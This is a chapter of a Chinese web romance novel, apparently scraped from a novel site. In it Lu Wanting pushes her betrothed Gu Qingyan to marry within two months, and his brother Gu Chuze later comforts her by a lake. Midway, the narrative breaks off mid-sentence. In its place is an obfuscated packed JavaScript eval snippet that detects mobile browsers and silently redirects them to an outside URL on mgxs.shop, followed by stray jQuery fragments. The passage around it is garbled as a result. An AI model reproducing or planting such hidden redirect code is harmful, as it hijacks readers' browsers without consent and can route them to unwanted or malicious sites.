文趣网 > 其他小说 > 拆姻缘 > 14. 安慰
    没等多久,陆婉婷就收到顾清晏的消息,当即去了趟顾府。

    这次上门,陆婉婷明显发现下人们瞧她的目光充满了好奇。

    顾清晏将双鱼佩递还给她,最终确定找大师算个良辰吉日,把顾、陆两家的婚事定下来。

    说来也好笑。原本婚姻大事应由双方长辈坐下来商定。到顾清晏与陆婉婷这里,只有他们俩自己拿主意。

    顾清晏说顾夫人本想与陆婉婷商量婚事,可考虑到顾夫人的身体,以及顾清晏认为自己与她当面商议更让她自在。

    陆婉婷善解人意地说不妨事。

    而顾楚泽坐则在另一边喝茶,降低存在感,一声不吭地听着他俩商量,目光若有似无瞟向她。

    关于婚宴,顾清晏的意思是打算精心筹办,把之前顾府缺的礼,都给陆婉婷补上。加上量体裁衣订制婚服,筹备礼品和婚宴各项琐事,以及拟邀族老宾客等,都需要时间。估摸算来,他认为婚期定在半年后会比较充裕。

    半年?

    陆婉婷眼皮一跳,纤细的睫毛微微颤动。

    倘若这半年期间发生任何意外......

    她眼前浮现出一张脸,冷不丁打了个寒颤。

    不行,半年太长了。她曾在书上读过一句话:迟则生变!

    虽说她娘告诉了闵公子她的去处,闵公子作为国舅之子,也未免会把她当回事。况且从京城距离金陵,相隔甚远,陆婉婷应该不用担心。

    可那封信,还是给她敲响了警钟。

    万一呢?

    万一那个人征服欲作祟,在半年内做出什么不可逆转的事,她可就追悔莫及了。

    在收到信后的这几天,陆婉婷辗转反侧,夜不能寐,脸上都熬出黑眼圈了。

    那个人才不是什么正人君子。

    相反,他仗着是国舅之子,闵贵妃的侄子,平日里作奸犯科都不被追究,气焰愈发猖狂。

    而她现在只是一个罪臣之女,那个人动动手指头,就会有大把人替他办事。谁会在乎陆婉婷在想什么。

    她一想到那孤傲的脸,绿豆大的小眼睛从上往下俯视她,势在必得对她说“一定会把她弄回家”的场景,就狠狠打了个寒战。

    见顾清晏与顾楚泽都在等她回复,陆婉婷强打起精神,勉强笑道:“可否听婉婷一言?”

    “婉婷此次来金陵已经备好了嫁妆。至于成婚,希望低调些。若能在两个月内完婚就最好了。”

    “两个月?”顾清晏与顾楚泽双双对视。

    陆婉婷故作小女子姿态,娇羞道:“婉婷来金陵已有些许日子。距离当年定下婚约,更是有数年之久。虽然婉婷已经习惯等待,可还是希望能早日完成两家的约定。不怕清晏笑话,这场婚事,婉婷已是期待许久,莫要再让婉婷继续等了,好不好?”她不得顾楚泽还在场,豁出脸皮嗔道。

    顾楚泽盯着茶杯不说话。

    而顾清晏则沉吟片刻,问她:“两个月是否太仓促?我怕备下的礼不够多,怠慢了婉婷。”

    “怎么会呢。”见顾清晏的话有松动,陆婉婷赶紧添把火,“清晏有这份心,婉婷就知足了。婉婷与翠儿在金陵租的小院已有时日,毕竟不在家里,两个女儿家单独在外租住,还是会不安。就算清晏有心安排护卫守门,也不能消除婉婷心中的隐忧。不如早点了却这桩心事让婉婷心安。”

    顾清晏还未来得及说话,噌的一下,顾楚泽猛然起身。陆婉婷有些紧张,瞥了他一眼。

    “我忽然想起还有事,先出去一趟。你们慢聊。”话音未落,顾楚泽气势汹汹大步向外走去,徒留两人在原地。

    陆婉婷松了口气。

    顾楚泽离开也好,她也是硬着头皮当众说出肉麻的话,有旁人在场确实很羞耻。虽然有点自欺欺人,但少一人见到她这样的姿态,就少一分尴尬。

    最后顾清晏还是答应了陆婉婷的要求,两个月后他们俩成亲。

    只是婚礼筹备的事,现在就要着人快马加鞭准备起来。

    顾清晏毕竟还有自己的公务要忙,实在是分身乏术。他着人叫管家过来把任务安排下去,并让管家之后交代顾楚泽替他陪着陆婉婷筹备东西。

    陆婉婷微讶。

    她虽然知道顾清晏对这场婚事只是履行约定,可全然交给管家和顾楚泽,也未免太放心他们了吧。

    她能够猜到顾清晏的想法,大概就是有顾楚泽在旁,金陵城里没人敢招惹她。且提前让自己的妻子与弟弟打好关系,未来还能帮着关照顾楚泽,一石二鸟。真是可怜天下兄长心。

    待确定好日程安排,陆婉婷行礼告退,拒绝了顾清晏让管家送她出去,自己出了院子。

    出了院门,陆婉婷见身边无人,彻底松了口气,把脸上的娇羞收了起来。

    太好了,这婚事成了。

    接下来她只需要安心备婚就好,不用再担惊受怕了。

    正这么想着,陆婉婷路过亭台水榭,一身玄衣的顾楚泽双手环胸,好整以暇背靠假山,侧着头盯着她。

    额滴亲娘诶!

    陆婉婷吓得差点跳起来。

    顾楚泽这个妄人,突然去而复返,她都要快被他吓出心疾来。

    陆婉婷按住砰砰直跳的心,暗自吐槽。

    “你......不是有事离开了,怎么又回来了?”陆婉婷被吓得表情没有调整好,脸上有着收不住的狰狞。

    其实她也不想知道答案,只是嘴上随口一说:“是有事找清晏?他还在书房,婉婷就不打扰你们了。”

    陆婉婷只想赶紧远离这个煞星,小碎步快步往前走去。

    谁成想,顾楚泽竟然跟上来了,与她并肩而行。

    “你......有事?”陆婉婷无法装作视而不见,只好停下脚步。

    她倒要看看,顾楚泽葫芦里卖什么药。

    顾楚泽脸色微沉:“你刚刚不开心,为什么?”

    “啊?”

    似有一束光照到了蜷缩在黑暗里的她。陆婉婷眼睛微睁,竟有一刻说不出话来。

    她眨眨眼,努力掩饰复杂的心绪,低声喃道:“哪有。你怎会这样想。”

    顾楚泽执拗盯着她的双眼,仔细端详她的神色:“我就是知道。你不是和我哥成功定下了婚期,而且他一定如你意,两个月内与你完婚吧,为何你还是不高兴?”

    陆婉婷被顾楚泽的敏锐吓得一激灵。

    她若说谎话敷衍他,怕是会被他察觉出来。可她也无法把实情全盘托出,只好半真半假道:“婉婷收到家母的信,是以心绪激荡,久久未能平复。”

    原以为说到这,顾楚泽应该识趣放她走。没成想,顾楚泽一指湖中的凉亭,示意他们过去聊。

    见陆婉婷面露犹豫,顾楚泽挑眉讽刺:“怎么,怕我吃了你?小爷我不吃人。”

    他说的笑话一点儿也不好笑,陆婉婷在心里翻了个白眼。

    顾楚泽说完也没

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590538|205440||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    管她,自顾自先朝凉亭走去。

    陆婉婷犹豫片刻,还是跟了上去。

    坐在凉亭里,微风习习,湖面上有片片荷叶点缀。金色的锦鲤在荷叶间穿梭,鱼尾在水中左右来回摆动,颇为灵动。

    有石子落入湖心,从中间向外漾出一层层涟漪。

    置于其中,陆婉婷浮躁的心沉静了下来。

    “婚期这么赶,你娘何时来金陵?”顾楚泽边朝湖里扔石头,边漫不经心问她。

    陆婉婷强颜欢笑:“她......有事来不了。”

    陆婉婷望着湖面出神,更多的内情说出来太难堪。

    “你有别的亲人过来观礼吗?”

    “......没有。”

    两人之间沉默下来。

    片刻,顾楚泽自顾自说道:“你还记得第一次见我哥的时候?那天我娘拿着拐杖要揍我。”

    陆婉婷一头雾水,怎么忽然聊起此事?

    “她也不是第一次揍我。谁叫我不成器,她看见我就心烦。从小到大都是这样。可我总是忍不住想在她面前晃悠,却又害怕去见她。在她眼里,她只有一个儿子,那就是我哥。”

    陆婉婷诧异看过去,顾楚泽神色淡淡,微风扬起的红色抹额也变得黯然。

    “尽管这样,我也熬过来了,我还有哥罩着我。而你马上要嫁进来了,我娘喜欢你,我哥也会疼人,日后你的日子只会越来越好,你会有更多在乎你的人。至少......你还有我们。”

    陆婉婷眼睛微睁,怔然地瞧着面前的少年。

    难道顾楚泽是在安慰她?

    一股暖意涌上陆婉婷心头,这倒是第一次有人对她说这些话。

    陆婉婷正思索该说什么,顾楚泽换个姿势,半倚着栏杆对她摆手:“嫁进顾府不会有人亏待你的。你回吧,小爷我再待会儿。”

    陆婉婷对顾楚泽微微行了一礼,转身离去。

    来顾府时,她还愁眉不展,心事重重。回去时,反倒卸下了心中大石,松快许多。

    她远远回望湖中心的那个少年,嘴角微翘。

    **

    顾楚泽再次见到顾清晏,面色犹豫。

    顾清晏第一时间发现他的不自然,问:“阿泽,怎么了?”

    顾楚泽静静凝视他哥,沉默半晌,还是开口道:“婚期定得如此着急,你怕不里面有诈?”

    顾清晏不以为然地瞥了他一眼:“若真如此,那又如何。”

    “哥!”顾楚泽不满道。哥怎么能不上心呢,万一陆婉婷有其他谋算。他的眼神瞬间变得锐利。

    “顾、陆两家本就有婚约,早或晚,有区别?”顾清晏并未停下手中的毛笔,边写边笑道:“她早日进门能早些管家,也能多陪陪娘亲。顾府将是她的靠山,她又怎会对顾府不利?”

    他哥所言非虚。

    顾楚泽看出来了,他哥想要的,是能管事的顾府女主人,而陆婉婷正好符合标准。一个家道中落的姑娘,又能拿什么来与顾府抗衡?想必她也翻不出什么水花。

    于是顾楚泽也不好再多说什么,更何况他也不会放任任何人伤害他哥。

    可想到陆婉婷今天黯然神伤的样子,他有些不忍。

    他对她说的那句话也没错,顾夫人与他哥都会在乎她,可......是她想要的那种在乎吗?

    顾楚泽自嘲一笑,笑自己杞人忧天。

    可为何心里闷闷的,他也说不清楚。